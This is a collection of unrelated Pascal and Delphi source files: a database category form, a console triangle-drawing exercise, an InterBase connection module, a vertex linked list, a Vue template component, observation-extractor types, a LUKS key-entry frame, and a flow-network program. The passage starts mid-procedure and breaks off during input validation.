WriteProc.ParamByName(KeyField).AsInteger := id;
WriteProc.ParamByName('NAME_TYPE_CATEGORY').AsString := TypeCategoryFormAdd.NameEdit.Text;
WriteProc.ParamByName('NAME_SHORT').AsString := TypeCategoryFormAdd.ShortEdit.Text;
WriteProc.ParamByName('MONTH_OPL').AsInteger := BoolConvert(TypeCategoryFormAdd.MonthOplCheck.Checked);
WriteProc.ExecProc;
try
WriteProc.Transaction.Commit;
WriteProc.Close;
except
WriteProc.Transaction.Rollback;
WriteProc.Close;
raise;
end;
SelectAll;
DataSet.Locate(KeyField, id, []);
end;
TypeCategoryFormAdd.Free;
end;
procedure TTypeCategoryForm.DeleteButtonClick(Sender: TObject);
var
selected : integer;
begin
screen.Cursor:=crHourGlass;
ReadDataSet.SelectSQL.Clear;
ReadDataSet.SelectSQL.Text := 'select CAN from ST_INI_TYPE_CAT_CAN_DEL(' + IntToStr(DataSet[KeyField]) + ')';
ReadDataSet.Open;
if ReadDataSet['CAN'] = 0 then begin
screen.Cursor:=crDefault;
ShowMessage(PChar(st_ConstUnit.st_mess_NoItemDelete[PLanguageIndex]));
ReadDataSet.Close;
exit;
end;
ReadDataSet.Close;
screen.Cursor:=crDefault;
if MessageBox(Handle,PChar(st_ConstUnit.st_DeletePromt[PLanguageIndex]),PChar(st_ConstUnit.st_Confirmation_Caption[PLanguageIndex]),MB_YESNO or MB_ICONQUESTION)= mrNo then exit;
WriteProc.StoredProcName := 'ST_INI_TYPE_CATEGORY_DELETE';
WriteProc.Transaction.StartTransaction;
WriteProc.Prepare;
WriteProc.ParamByName(KeyField).AsInteger := DataSet[KeyField];
WriteProc.ExecProc;
try
WriteProc.Transaction.Commit;
WriteProc.Close;
except
WriteProc.Transaction.Rollback;
WriteProc.Close;
raise;
end;
selected := cxGrid1DBTableView1.DataController.FocusedRowIndex-1;
SelectAll;
cxGrid1DBTableView1.DataController.FocusedRowIndex := selected;
end;
procedure TTypeCategoryForm.RefreshButtonClick(Sender: TObject);
var
selected : integer;
begin
Screen.Cursor:=crHourGlass;
selected := -1;
if DataSet.RecordCount <> 0 then selected := DataSet[KeyField];
SelectAll;
DataSet.Locate(KeyField, selected, []);
Screen.Cursor:=crDefault;
end;
procedure TTypeCategoryForm.FormShow(Sender: TObject);
begin
FormIniLanguage();
if not DataSet.Active then SelectAll;
end;
procedure TTypeCategoryForm.SearchButton_NaimClick(Sender: TObject);
begin
if PopupMenu1.Items[4].Checked= true then
begin
Search_LgotForm := TSearch_LgotForm.Create(Self);
Search_LgotForm.PLanguageIndex := PLanguageIndex;
while Search_LgotForm.FindFlag = false do begin
if Search_LgotForm.FindClosed = true then begin
Search_LgotForm.Free;
exit;
end;
if Search_LgotForm.ShowModal = mrOk then begin
if Search_LgotForm.FindFlag = true then begin
cxGrid1DBTableView1NAME_TYPE_CATEGORY.SortOrder:=soAscending;
DataSet.Locate('NAME_TYPE_CATEGORY', Search_LgotForm.Naim_Edit.Text, [loCaseInsensitive, loPartialKey]);
Search_LgotForm.Free;
exit;
end
else begin
cxGrid1DBTableView1NAME_TYPE_CATEGORY.SortOrder:=soAscending;
DataSet.Locate('NAME_TYPE_CATEGORY', Search_LgotForm.Naim_Edit.Text, [loCaseInsensitive, loPartialKey]);
Search_LgotForm.showModal;
end;
end;
end;
if Search_LgotForm.FindFlag = true then begin
cxGrid1DBTableView1NAME_TYPE_CATEGORY.SortOrder:=soAscending;
DataSet.Locate('NAME_TYPE_CATEGORY', Search_LgotForm.Naim_Edit.Text, [loCaseInsensitive, loPartialKey]);
Search_LgotForm.Free;
end;
end
else begin
Search_Form:= TSearch_Form.create(self);
Search_Form.PLanguageIndex := PLanguageIndex;
if Search_Form.ShowModal = mrOk then begin
cxGrid1DBTableView1NAME_TYPE_CATEGORY.SortOrder:=soAscending;
DataSet.Locate('NAME_TYPE_CATEGORY', Search_Form.Naim_Edit.Text, [loCaseInsensitive, loPartialKey]);
end;
end;
end;
end.
|
program prog_8_1_Triangles;
uses
crt;
var
Height : Integer;
Indent : string;
Line : string;
Line2 : string;
NextLine : string;
i : Integer;
j : Integer;
k : Integer;
a : Integer;
begin
writeln('Enter the height of triangle');
readln(Height);
Indent := ' ';
Line := '^';
Line2 := 'v';
NextLine := Line + Line;
a := 1;
for i := Height downto 1 do
begin
for j := i downto 1 do
begin
write(Indent);
end;
write(Line);
writeln();
Line := Line + NextLine;
delay(500);
end;
Line := '^';
for i := Height downto 1 do
begin
write(Line);
writeln();
Line := Line + NextLine;
delay(500);
end;
Line := '^';
for i := Height downto 1 do
begin
for j := i * 2 - 1 downto 1 do
begin
write(Indent);
end;
write(Line);
writeln();
Line := Line + NextLine;
delay(500);
end;
for i := 1 to Height do
begin
for j := 1 to i do
begin
write(Indent);
end;
for k := Height * 2 - 1 downto a do
begin
write(Line2);
end;
writeln();
a := a + 2;
delay(500);
end;
a := 1;
for i := 1 to Height do
begin
for j := 1 to a do
begin
write(Indent);
end;
for k := Height * 2 - 1 downto a do
begin
write(Line2);
end;
writeln();
a := a + 2;
delay(500);
end;
a := 1;
for i := 1 to Height do
begin
for k := Height * 2 - 1 downto a do
begin
write(Line2);
end;
writeln();
a := a + 2;
delay(500);
end;
readln();
end. |
unit Datenmodul.DM;
interface
uses
System.SysUtils, System.Classes, Data.DB, IBX.IBDatabase, dblogdlg;
type
TOnErrorMsg=procedure(Sender: TObject; aMsg: string) of object;
RConnectType = record
Servername: string;
Datenbank: string;
User: string;
Passwort: string;
end;
type
Tdm = class(TDataModule)
db: TIBDatabase;
procedure DataModuleCreate(Sender: TObject);
procedure DataModuleDestroy(Sender: TObject);
procedure dbAfterConnect(Sender: TObject);
private
fOnConnectionError: TOnErrorMsg;
fOnAfterConnect: TNotifyEvent;
public
procedure CheckConnect(aConnectType: RConnectType);
property OnConnectionError: TOnErrorMsg read fOnConnectionError write fOnConnectionError;
property OnAfterConnect: TNotifyEvent read fOnAfterConnect write fOnAfterConnect;
end;
var
dm: Tdm;
implementation
{%CLASSGROUP 'Vcl.Controls.TControl'}
{$R *.dfm}
uses
Objekt.Allgemein;
procedure Tdm.DataModuleCreate(Sender: TObject);
begin //
AllgemeinObj.Log.DebugInfo('DataModuleCreate');
end;
procedure Tdm.DataModuleDestroy(Sender: TObject);
begin //
end;
procedure Tdm.CheckConnect(aConnectType: RConnectType);
var
s: string;
begin
AllgemeinObj.Log.DebugInfo('Start - CheckConnect - ' + aConnectType.Datenbank);
if db.Connected then
db.Close;
db.LoginPrompt := false;
s := aConnectType.Servername + ':' + aConnectType.Datenbank;
db.DatabaseName := s;
db.Params.Add('password='+aConnectType.Passwort);
db.Params.Add('user_name='+aConnectType.User);
try
db.Connected := true;
except
on E:Exception do
begin
AllgemeinObj.Log.DebugInfo(E.Message);
if Assigned(fOnConnectionError) then
fOnConnectionError(Self, e.Message);
end;
end;
AllgemeinObj.Log.DebugInfo('Ende - CheckConnect - ' + aConnectType.Datenbank);
end;
procedure Tdm.dbAfterConnect(Sender: TObject);
begin
AllgemeinObj.Log.DebugInfo('Connect erfolgreich - ' + db.DatabaseName);
if Assigned(fOnAfterConnect) then
fOnAfterConnect(Self);
db.Connected := false;
end;
end.
|
unit VertexList;
interface
uses BasicRenderingTypes;
type
CVertexList = class
private
Start,Last,Active : PVertexItem;
FCount: integer;
procedure Reset;
function GetX: single;
function GetY: single;
function GetZ: single;
function GetID: integer;
public
// Constructors and Destructors
constructor Create;
destructor Destroy; override;
// I/O
procedure LoadState(_State: PVertexItem);
function SaveState:PVertexItem;
// Add
function Add (_ID : integer; _x,_y,_z: single): integer;
procedure Delete;
// Delete
procedure Clear;
// Misc
procedure GoToFirstElement;
procedure GoToNextElement;
// Properties
property Count: integer read FCount;
property X: single read GetX;
property Y: single read GetY;
property Z: single read GetZ;
property ID: integer read GetID;
end;
implementation
constructor CVertexList.Create;
begin
Reset;
end;
destructor CVertexList.Destroy;
begin
Clear;
inherited Destroy;
end;
procedure CVertexList.Reset;
begin
Start := nil;
Last := nil;
Active := nil;
FCount := 0;
end;
// I/O
procedure CVertexList.LoadState(_State: PVertexItem);
begin
Active := _State;
end;
function CVertexList.SaveState:PVertexItem;
begin
Result := Active;
end;
// Add
function CVertexList.Add (_ID : integer; _x,_y,_z: single):integer;
var
Position,NewPosition : PVertexItem;
begin
// Ensure that no vertex will repeat.
Position := Start;
while (Position <> nil) do
begin
if Position^.x <> _x then
begin
Position := Position^.Next;
end
else if Position^.y <> _y then
begin
Position := Position^.Next;
end
else if Position^.z <> _z then
begin
Position := Position^.Next;
end
else
begin
Result := Position^.ID;
exit;
end;
end;
// Add vertex if it is not in the list.
New(NewPosition);
NewPosition^.ID := _ID;
NewPosition^.x := _x;
NewPosition^.y := _y;
NewPosition^.z := _z;
NewPosition^.Next := nil;
inc(FCount);
if Start <> nil then
begin
Last^.Next := NewPosition;
end
else
begin
Start := NewPosition;
Active := Start;
end;
Last := NewPosition;
Result := _ID;
end;
// Delete
procedure CVertexList.Delete;
var
Previous : PVertexItem;
begin
if Active <> nil then
begin
Previous := Start;
if Active = Start then
begin
Start := Start^.Next;
end
else
begin
while Previous^.Next <> Active do
begin
Previous := Previous^.Next;
end;
Previous^.Next := Active^.Next;
if Active = Last then
begin
Last := Previous;
end;
end;
Dispose(Active);
dec(FCount);
end;
end;
procedure CVertexList.Clear;
var
Garbage : PVertexItem;
begin
Active := Start;
while Active <> nil do
begin
Garbage := Active;
Active := Active^.Next;
dispose(Garbage);
end;
Reset;
end;
// Gets
function CVertexList.GetX: single;
begin
if Active <> nil then
begin
Result := Active^.x;
end
else
begin
Result := 0;
end;
end;
function CVertexList.GetY: single;
begin
if Active <> nil then
begin
Result := Active^.y;
end
else
begin
Result := 0;
end;
end;
function CVertexList.GetZ: single;
begin
if Active <> nil then
begin
Result := Active^.z;
end
else
begin
Result := 0;
end;
end;
function CVertexList.GetID: integer;
begin
if Active <> nil then
begin
Result := Active^.id;
end
else
begin
Result := -1;
end;
end;
// Misc
procedure CVertexList.GoToNextElement;
begin
if Active <> nil then
begin
Active := Active^.Next;
end
end;
procedure CVertexList.GoToFirstElement;
begin
Active := Start;
end;
end.
|
unit uTempl;
{$mode objfpc}{$H+}
{$MODESWITCH externalclass}
interface
uses
Classes, SysUtils, Types, JS, Web, uVueJS, JComponents;
type
(*
╔═════════════════════════════╗
║ TTemplate component ║
╚═════════════════════════════╝ *)
{ TTemplate }
TTemplate = class(TMovableControl)
private
{ private declarations }
el: TJSNode;
fo: TDirectives;
fdata: TJSObject; external name 'fo.data';
fmethods: TJSObject; external name 'fo.methods';
fready: JSValue; external name 'fo.ready';
fcomputed: TJSObject; external name 'fo.computed';
frun: JSValue; external name 'fo';
ftemplate: string;
fEnabled: Boolean;
procedure SetEnabled(AValue: Boolean);
protected
{ protected declarations }
public
{ public declarations }
constructor Create(AOwner: TControl; TemplateName: String);
property data: TJSObject read fdata write fdata;
property methods: TJSObject read fmethods write fmethods;
property ready: JSValue read fready write fready;
property computed: TJSObject read fcomputed write fcomputed;
o: TJSObject; external name 'fo';
//procedure execute;
published
{ published declarations }
{ specifies whether the script is enabled }
property Enabled: Boolean read FEnabled write SetEnabled default True;
end;
// function parseHTML(html: string): TJSNode;
implementation
function parseHTML(html: string): TJSNode;
var
t : TSJHTMLTemplateElement;
begin
t := TSJHTMLTemplateElement(document.createElement('template'));
t.innerHTML := html;
result := t.content.cloneNode(true);
end;
{ Template1 }
constructor TTemplate.Create(AOwner: TControl; TemplateName: String);
begin
inherited Create(AOwner);
Self.ftemplate := TemplateName;
el := parseHTML( {t1} Self.ftemplate );
Self.Handle.appendChild(el);
fo := TDirectives.New;
fo.el := '.swiper-container';
fo.methods := TJSObject.New;
fo.computed:= TJSObject.New;
//fo.data := TJSObject.New;
InitializeObject;
end;
procedure TTemplate.SetEnabled(aValue: Boolean);
begin
if (aValue <> FEnabled) then
begin
if aValue then
begin
//FreeElement;
//CreateElement;
vueInstance := JVue.New ( Self.frun );
end else
FEnabled := aValue;
end;
end;
(*procedure TTemplate.execute;
begin
JVue.New ( Self.frun );
end;*)
end.
|
unit ObExtractorTypes;
{$mode objfpc}{$H+}
interface
uses
Classes, SysUtils, Generics.Collections, Generics.Defaults;
const
MissingValue = -1e-31;
type
TDoubleArray = array of double;
TCustomObsValue = class(TObject)
ObsName: string;
ObsTime: double;
SimulatedValue: double;
ObservedValue: double;
end;
TCustomWeightedObsValue = class(TCustomObsValue)
Weight: double;
Print: Boolean;
end;
TWeightedObsValueList = specialize TList<TCustomWeightedObsValue>;
TCustomWeightedObsValueObjectList = specialize TObjectList<TCustomWeightedObsValue>;
TCustomObsValueDictionary = specialize TDictionary<string, TCustomObsValue>;
{ TCustomObsExtractor }
TCustomObsExtractor = class(TObject)
private
FOutputFileName: string;
function GetObsCount: integer;
procedure SetOutputFileName(AValue: string);
protected
FObsValueList: TWeightedObsValueList;
public
Constructor Create;
destructor Destroy; override;
property ModelOutputFileName: string read FOutputFileName
write SetOutputFileName;
procedure AddObs(Obs: TCustomWeightedObsValue);
property ObsCount: integer read GetObsCount;
procedure ExtractSimulatedValues; virtual; abstract;
end;
function RemoveQuotes(AString: string): string;
implementation
function RemoveQuotes(AString: string): string;
begin
Assert(Length(AString) > 0);
if (AString[1] = '"') and (AString[Length(AString)] = '"') then
begin
AString := Copy(AString, 2, Length(AString)-2);
end
else if (AString[1] = '''') and (AString[Length(AString)] = '''') then
begin
AString := Copy(AString, 2, Length(AString)-2);
end;
result := AString;
end;
{ TCustomObsExtractor }
function TCustomObsExtractor.GetObsCount: integer;
begin
result := FObsValueList.Count;
end;
procedure TCustomObsExtractor.SetOutputFileName(AValue: string);
begin
if FOutputFileName=AValue then Exit;
FOutputFileName:=AValue;
end;
constructor TCustomObsExtractor.Create;
begin
FObsValueList := TWeightedObsValueList.Create;
FOutputFileName := '';
end;
destructor TCustomObsExtractor.Destroy;
begin
FObsValueList.Free;
inherited Destroy;
end;
procedure TCustomObsExtractor.AddObs(Obs: TCustomWeightedObsValue);
begin
FObsValueList.Add(Obs);
end;
end.
|
unit fmeLUKSKeyOrKeyfileEntry;
interface
uses
Classes, Controls, Dialogs, Forms,
Graphics, Messages, StdCtrls,
SysUtils, Variants, Windows, //LibreCrypt
ComCtrls,
OTFEFreeOTFE_PasswordRichEdit, OTFEFreeOTFEBase_U,
PasswordRichEdit, SDUDropFiles,
SDUFilenameEdit_U, SDUFrames, SDUGeneral, SDUStdCtrls;
type
TfrmeLUKSKeyOrKeyfileEntry = class (TFrame)
lblTreatNewlineAsEOF_1: TLabel;
preUserKey: TOTFEFreeOTFE_PasswordRichEdit;
rbKeyFromUser: TRadioButton;
rbKeyFromKeyfile: TRadioButton;
feKeyfile: TSDUFilenameEdit;
ckKeyfileContainsASCII: TSDUCheckBox;
cbNewlineType: TComboBox;
SDUDropFiles_Keyfile: TSDUDropFiles;
lblTreatNewlineAsEOF_2: TLabel;
procedure rbKeyFromClick(Sender: TObject);
procedure feKeyfileChange(Sender: TObject);
procedure ckKeyfileContainsASCIIClick(Sender: TObject);
procedure preUserKeyChange(Sender: TObject);
procedure SDUDropFiles_KeyfileFileDrop(Sender: TObject; DropItem: String;
DropPoint: TPoint);
private
procedure PopulateNewlineType();
public
// FreeOTFEObj: TOTFEFreeOTFEBase;
procedure Initialize();
procedure DefaultOptions();
procedure EnableDisableControls();
function GetKey(var userKey: TSDUBYtes): Boolean;
function GetKeyRaw(var userKey: String): Boolean;
function SetKey(userKey: PasswordString): Boolean;
function SetKeyfile(filename: String): Boolean;
function GetKeyfile(var filename: String): Boolean;
function GetKeyfileIsASCII(var isASCII: Boolean): Boolean;
function SetKeyfileIsASCII(isASCII: Boolean): Boolean;
function GetKeyfileNewlineType(var nlType: TSDUNewline): Boolean;
function SetKeyfileNewlineType(nlType: TSDUNewline): Boolean;
function KeyIsUserEntered(): Boolean;
procedure CursorToEndOfPassword();
end;
//procedure Register;
implementation
{$R *.dfm}
//procedure Register;
//begin
// RegisterComponents('FreeOTFE', [TfrmeLUKSKeyOrKeyfileEntry]);
//end;
procedure TfrmeLUKSKeyOrKeyfileEntry.feKeyfileChange(Sender: TObject);
begin
rbKeyFromKeyfile.Checked := True;
EnableDisableControls();
end;
procedure TfrmeLUKSKeyOrKeyfileEntry.preUserKeyChange(Sender: TObject);
begin
rbKeyFromUser.Checked := True;
EnableDisableControls();
end;
procedure TfrmeLUKSKeyOrKeyfileEntry.rbKeyFromClick(Sender: TObject);
begin
EnableDisableControls();
end;
procedure TfrmeLUKSKeyOrKeyfileEntry.SDUDropFiles_KeyfileFileDrop(Sender: TObject;
DropItem: String; DropPoint: TPoint);
begin
feKeyfile.Filename := DropItem;
EnableDisableControls();
end;
procedure TfrmeLUKSKeyOrKeyfileEntry.ckKeyfileContainsASCIIClick(Sender: TObject);
begin
EnableDisableControls();
end;
procedure TfrmeLUKSKeyOrKeyfileEntry.EnableDisableControls();
begin
SDUEnableControl(ckKeyfileContainsASCII, rbKeyFromKeyfile.Checked);
SDUEnableControl(lblTreatNewlineAsEOF_1, (rbKeyFromKeyfile.Checked and
ckKeyfileContainsASCII.Checked));
SDUEnableControl(cbNewlineType, (rbKeyFromKeyfile.Checked and
ckKeyfileContainsASCII.Checked));
SDUEnableControl(lblTreatNewlineAsEOF_2, (rbKeyFromKeyfile.Checked and
ckKeyfileContainsASCII.Checked));
end;
procedure TfrmeLUKSKeyOrKeyfileEntry.PopulateNewlineType();
var
currNewline: TSDUNewline;
begin
cbNewlineType.Items.Clear();
for currNewline := low(TSDUNewline) to high(TSDUNewline) do begin
cbNewlineType.Items.Add(SDUNEWLINE_TITLE[currNewline]);
end;
end;
procedure TfrmeLUKSKeyOrKeyfileEntry.Initialize();
begin
PopulateNewlineType();
feKeyfile.OpenDialog.Options := feKeyfile.OpenDialog.Options + [ofDontAddToRecent];
feKeyfile.SaveDialog.Options := feKeyfile.SaveDialog.Options + [ofDontAddToRecent];
SDUDropFiles_Keyfile.Active := True;
end;
procedure TfrmeLUKSKeyOrKeyfileEntry.DefaultOptions();
begin
preUserKey.Plaintext := True;
// Linux volumes CAN NOT have newlines in the user's password
preUserKey.WantReturns := False;
preUserKey.WordWrap := True;
preUserKey.Lines.Clear();
preUserKey.PasswordChar := GetFreeOTFEBase().PasswordChar;
preUserKey.WantReturns := GetFreeOTFEBase().AllowNewlinesInPasswords;
preUserKey.WantTabs := GetFreeOTFEBase().AllowTabsInPasswords;
SetKeyfileIsASCII(LINUX_KEYFILE_DEFAULT_IS_ASCII);
SetKeyfileNewlineType(LINUX_KEYFILE_DEFAULT_NEWLINE);
rbKeyFromUser.Checked := True;
end;
function TfrmeLUKSKeyOrKeyfileEntry.GetKeyRaw(var userKey: String): Boolean;
begin
userKey := preUserkey.Text;
Result := True;
end;
function TfrmeLUKSKeyOrKeyfileEntry.GetKey(var userKey: TSDUBYtes): Boolean;
var
keyfileIsASCII: Boolean;
keyfileNewlineType: TSDUNewline;
begin
Result := False;
if rbKeyFromUser.Checked then begin
{ TODO 1 -otdk -cfix : warn user about losing unicde chars }
userKey := SDUStringToSDUBytes(preUserkey.Text);
Result := True;
end else begin
if (feKeyfile.Filename <> '') then begin
GetKeyfileIsASCII(keyfileIsASCII);
GetKeyfileNewlineType(keyfileNewlineType);
Result := GetFreeOTFEBase().ReadLUKSKeyFromFile(feKeyfile.Filename,
keyfileIsASCII, keyfileNewlineType, userKey);
end;
end;
end;
function TfrmeLUKSKeyOrKeyfileEntry.SetKey(userKey: PasswordString): Boolean;
begin
preUserkey.Text := userKey;
Result := True;
end;
function TfrmeLUKSKeyOrKeyfileEntry.SetKeyfile(filename: String): Boolean;
begin
feKeyfile.Filename := filename;
Result := True;
end;
function TfrmeLUKSKeyOrKeyfileEntry.GetKeyfile(var filename: String): Boolean;
begin
filename := feKeyfile.Filename;
Result := True;
end;
function TfrmeLUKSKeyOrKeyfileEntry.GetKeyfileIsASCII(var isASCII: Boolean): Boolean;
begin
isASCII := ckKeyfileContainsASCII.Checked;
Result := True;
end;
function TfrmeLUKSKeyOrKeyfileEntry.SetKeyfileIsASCII(isASCII: Boolean): Boolean;
begin
ckKeyfileContainsASCII.Checked := isASCII;
Result := True;
end;
function TfrmeLUKSKeyOrKeyfileEntry.GetKeyfileNewlineType(
var nlType: TSDUNewline): Boolean;
var
currNewline: TSDUNewline;
begin
Result := False;
for currNewline := low(TSDUNewline) to high(TSDUNewline) do begin
if (cbNewlineType.Items[cbNewlineType.ItemIndex] = SDUNEWLINE_TITLE[currNewline]) then begin
nlType := currNewline;
Result := True;
break;
end;
end;
end;
function TfrmeLUKSKeyOrKeyfileEntry.SetKeyfileNewlineType(nlType: TSDUNewline): Boolean;
var
idx: Integer;
begin
idx := cbNewlineType.Items.IndexOf(SDUNEWLINE_TITLE[nlType]);
cbNewlineType.ItemIndex := idx;
Result := (idx >= 0);
end;
function TfrmeLUKSKeyOrKeyfileEntry.KeyIsUserEntered(): Boolean;
begin
Result := rbKeyFromUser.Checked;
end;
procedure TfrmeLUKSKeyOrKeyfileEntry.CursorToEndOfPassword();
begin
// Position cufrmeLUKSKeyOrKeyfileEntry
preUserKey.SelStart := length(preUserKey.Text);
end;
end.
|
program siecprzeplywowa;
uses
SysUtils;
const
INPUT_FILE_FLAG = '-i';
OUTPUT_FILE_FLAG = '-o';
START_NODE_FLAG = '-s';
END_NODE_FLAG = '-k';
INFINITY = High(integer);
SPACE = ' ';
DOUBLE_SPACE = SPACE + SPACE;
SEMICOLON = ';';
SEMICOLON_WITH_SPACE = SEMICOLON + SPACE;
type
ArrayOfString = array of string;
NodePointer = ^Node;
Edge = record
endNode: NodePointer;
distanceToEndNode: integer;
end;
Node = record
id: integer;
distance: integer;
edges: array of Edge;
end;
NodesListPointer = ^NodesList;
NodesList = record
node: NodePointer;
nextElement: NodesListPointer;
end;
var
i: integer;
nodesListHead: NodesListPointer = nil;
function createNode(id: integer; edgesCount: integer): NodePointer;
begin
new(createNode);
createNode^.id := id;
SetLength(createNode^.edges, edgesCount);
end;
function hasNextNode(listOfNodes: NodesListPointer): boolean;
begin
hasNextNode := listOfNodes^.nextElement^.node <> nil;
end;
function hasExpectedCommandLineOptionsCount(): boolean;
const
EXPECTED_FLAGS_COUNT = 4;
EXPECTED_FLAGS_ARGUMENTS_COUNT = 4;
EXPECTED_OPTIONS_COUNT = EXPECTED_FLAGS_COUNT + EXPECTED_FLAGS_ARGUMENTS_COUNT;
begin
hasExpectedCommandLineOptionsCount := Paramcount = EXPECTED_OPTIONS_COUNT;
end;
function getArgumentByFlag(flag: string): string;
begin
for i := 1 to Paramcount - 1 do
if flag = ParamStr(i) then
begin
getArgumentByFlag := ParamStr(i + 1);
break;
end;
end;
function getValueOf(aString: string): integer;
begin
val(aString, getValueOf);
end;
function toString(anInteger: integer): string;
begin
Str(anInteger, toString);
end;
function getStartNodeId(): integer;
begin
getStartNodeId := getValueOf(getArgumentByFlag(START_NODE_FLAG));
end;
function getEndNodeId(): integer;
begin
getEndNodeId := getValueOf(getArgumentByFlag(END_NODE_FLAG));
end;
function getInputFilePath(): string;
begin
getInputFilePath := getArgumentByFlag(INPUT_FILE_FLAG);
end;
function getOutputFileName(): string;
begin
getOutputFileName := getArgumentByFlag(OUTPUT_FILE_FLAG);
end;
function containsSubstringInString(aSubstring: string; aString: string): boolean;
begin
containsSubstringInString := pos(aSubstring, aString) <> 0;
end;
function containsSubstringInStringCaseInsensitively(aSubstring: string; aString: string): boolean;
begin
containsSubstringInStringCaseInsensitively := containsSubstringInString(LowerCase(aSubstring), LowerCase(aString));
end;
function getCommandLineOptionsAsString(): string;
begin
for i := 1 to Paramcount do
getCommandLineOptionsAsString := getCommandLineOptionsAsString + ' ' + ParamStr(i);
end;
function hasExpectedCommandLineFlags(): boolean;
var
commandLineOptions: string;
expectedFlags: array[1..4] of string = (INPUT_FILE_FLAG, OUTPUT_FILE_FLAG, START_NODE_FLAG, END_NODE_FLAG);
begin
hasExpectedCommandLineFlags := True;
commandLineOptions := getCommandLineOptionsAsString();
for i := 1 to High(expectedFlags) do
if not containsSubstringInStringCaseInsensitively(expectedFlags[i] + SPACE, commandLineOptions) then
begin
writeln('Przelacznik "', expectedFlags[i], '" nie zostal uzyty.');
hasExpectedCommandLineFlags := False;
break;
end;
end;
function isAnExistingFile(filePath: string): boolean;
begin
isAnExistingFile := FileExists(filePath);
end;
function isValidFilename(filename: string): boolean;
var
illegalCharacters: array[1..9] of char = ('*', ':', '?', '"', '<', '>', '|', '/', '\');
begin
isValidFilename := True;
for i := 1 to High(illegalCharacters) do
if containsSubstringInString(illegalCharacters[i], filename) then
begin
isValidFilename := False;
break;
end;
end;
function countFileLines(filePath: string): integer;
var
fileContent: Text;
begin
countFileLines := 0;
Assign(fileContent, filePath);
Reset(fileContent);
repeat
ReadLn(fileContent);
Inc(countFileLines);
until EOF(fileContent);
Close(fileContent);
end;
function getNodesCount(): integer;
begin
getNodesCount := countFileLines(getInputFilePath());
end;
function isPointingToAnExistingNode(nodeId: integer): boolean;
begin
isPointingToAnExistingNode := nodeId <= getNodesCount();
end;
function hasCommandLineFlagsArgumentsSetCorrectly(): boolean;
begin
hasCommandLineFlagsArgumentsSetCorrectly := False;
if not isAnExistingFile(getInputFilePath()) then
writeln('Podana sciezka "', getInputFilePath(), '" wskazuje na nieistniejacy plik.')
else if not isValidFilename(getOutputFileName()) then
writeln('Podana nazwa "', getOutputFileName(), '" nie moze byc uzyta jako nazwa pliku.')
else if not isPointingToAnExistingNode(getStartNodeId()) then
writeln('Wezel numer ', getStartNodeId(), ' nie moze byc uzyty jako startowy, bo nie zostal zadeklarowany.')
else if not isPointingToAnExistingNode(getEndNodeId()) then
writeln('Wezel numer ', getEndNodeId(), ' nie moze byc uzyty jako koncowy, bo nie zostal zadeklarowany.')
else
hasCommandLineFlagsArgumentsSetCorrectly := True;
end;
function hasCommandLineOptionsSetCorrectly(): boolean;
begin
hasCommandLineOptionsSetCorrectly := False;
if not hasExpectedCommandLineOptionsCount() then
writeln('Przerwano. Nieoczekiwana ilosc parametrow.')
else if not hasExpectedCommandLineFlags() then
writeln('Przerwano. Nie uzyto wszystkich oczekiwanych przelacznikow.')
else if not hasCommandLineFlagsArgumentsSetCorrectly() then
writeln('Przerwano. Bledne ustawienie wartosci przelacznikow.')
else
hasCommandLineOptionsSetCorrectly := True;
end;
function isEmpty(aString: string): boolean;
begin
isEmpty := Length(aString) = 0;
end;
function countEmptyStringOccurrences(anArrayOfString: ArrayOfString): integer;
var
aString: string;
begin
countEmptyStringOccurrences := 0;
for aString in anArrayOfString do
if isEmpty(aString) then
Inc(countEmptyStringOccurrences);
end;
function trimArray(anArrayOfString: ArrayOfString): ArrayOfString;
var
aString: string;
begin
SetLength(trimArray, Length(anArrayOfString) - countEmptyStringOccurrences(anArrayOfString));
i := 0;
for aString in anArrayOfString do
if not isEmpty(aString) then
begin
trimArray[i] := aString;
Inc(i);
end;
end;
function replaceAll(aString, replacedSubstring, replacingSubstring: string): string;
begin
replaceAll := StringReplace(aString, replacedSubstring, replacingSubstring, [rfReplaceAll, rfIgnoreCase]);
end;
function removeMultipleSpaces(aString: string): string;
begin
while containsSubstringInString(DOUBLE_SPACE, aString) do
aString := replaceAll(aString, DOUBLE_SPACE, SPACE);
removeMultipleSpaces := aString;
end;
function removeSpacesAfterSemicolons(aString: string): string;
begin
removeSpacesAfterSemicolons := replaceAll(aString, SEMICOLON_WITH_SPACE, SEMICOLON);
end;
function trimNodeDefinition(aString: string): string;
begin
trimNodeDefinition := removeSpacesAfterSemicolons(removeMultipleSpaces(aString));
end;
function getNodesDefinitions(): ArrayOfString;
var
fileContent: Text;
begin
SetLength(getNodesDefinitions, getNodesCount());
Assign(fileContent, getInputFilePath());
Reset(fileContent);
i := 0;
repeat
ReadLn(fileContent, getNodesDefinitions[i]);
getNodesDefinitions[i] := trimNodeDefinition(getNodesDefinitions[i]);
Inc(i);
until EOF(fileContent);
Close(fileContent);
end;
function isAnInteger(aString: string): boolean;
var
errorCode: integer;
assignedButNeverUsedIntegerValue: integer;
begin
val(aString, assignedButNeverUsedIntegerValue, errorCode);
isAnInteger := errorCode = 0;
end;
function countCharOccurrencesInString(suspect: char; container: string): integer;
var
c: char;
begin
countCharOccurrencesInString := 0;
for c in container do
if c = suspect then
Inc(countCharOccurrencesInString);
end;
function splitStringByChar(separator: char; aString: string): ArrayOfString;
var
letter: char;
begin
i := 0;
SetLength(splitStringByChar, countCharOccurrencesInString(separator, aString) + 1);
for letter in aString do
if letter = separator then
Inc(i)
else
splitStringByChar[i] := splitStringByChar[i] + letter;
end;
function getNodeConnections(nodeDefinition: string): ArrayOfString;
begin
getNodeConnections := trimArray(splitStringByChar(SEMICOLON, nodeDefinition));
end;
function getNodeConnectionData(nodeConnection: string): ArrayOfString;
begin
getNodeConnectionData := trimArray(splitStringByChar(SPACE, nodeConnection));
end;
function isUnderstandableNodeDefinition(nodeDefinition: string): boolean;
var
nodeConnection: string;
nodeConnectionData: ArrayOfString;
endNodeIdString: string;
distanceToEndNodeString: string;
nodeId: integer = 1;
begin
isUnderstandableNodeDefinition := True;
for nodeConnection in getNodeConnections(nodeDefinition) do
begin
nodeConnectionData := getNodeConnectionData(nodeConnection);
endNodeIdString := nodeConnectionData[0];
distanceToEndNodeString := nodeConnectionData[1];
if length(nodeConnectionData) <> 2 then
writeln('Niezrozumiale polaczenie ', nodeId, ' wezla: "',
nodeConnection, '". Niepoprawna ilosc parametrow.')
else if not isAnInteger(endNodeIdString) then
writeln('Wezel ', nodeId, ' nie moze zostac polaczony z wezlem "', endNodeIdString,
'". Identyfikatory wezlow musza byc liczba calkowita!')
else if not isPointingToAnExistingNode(getValueOf(endNodeIdString)) then
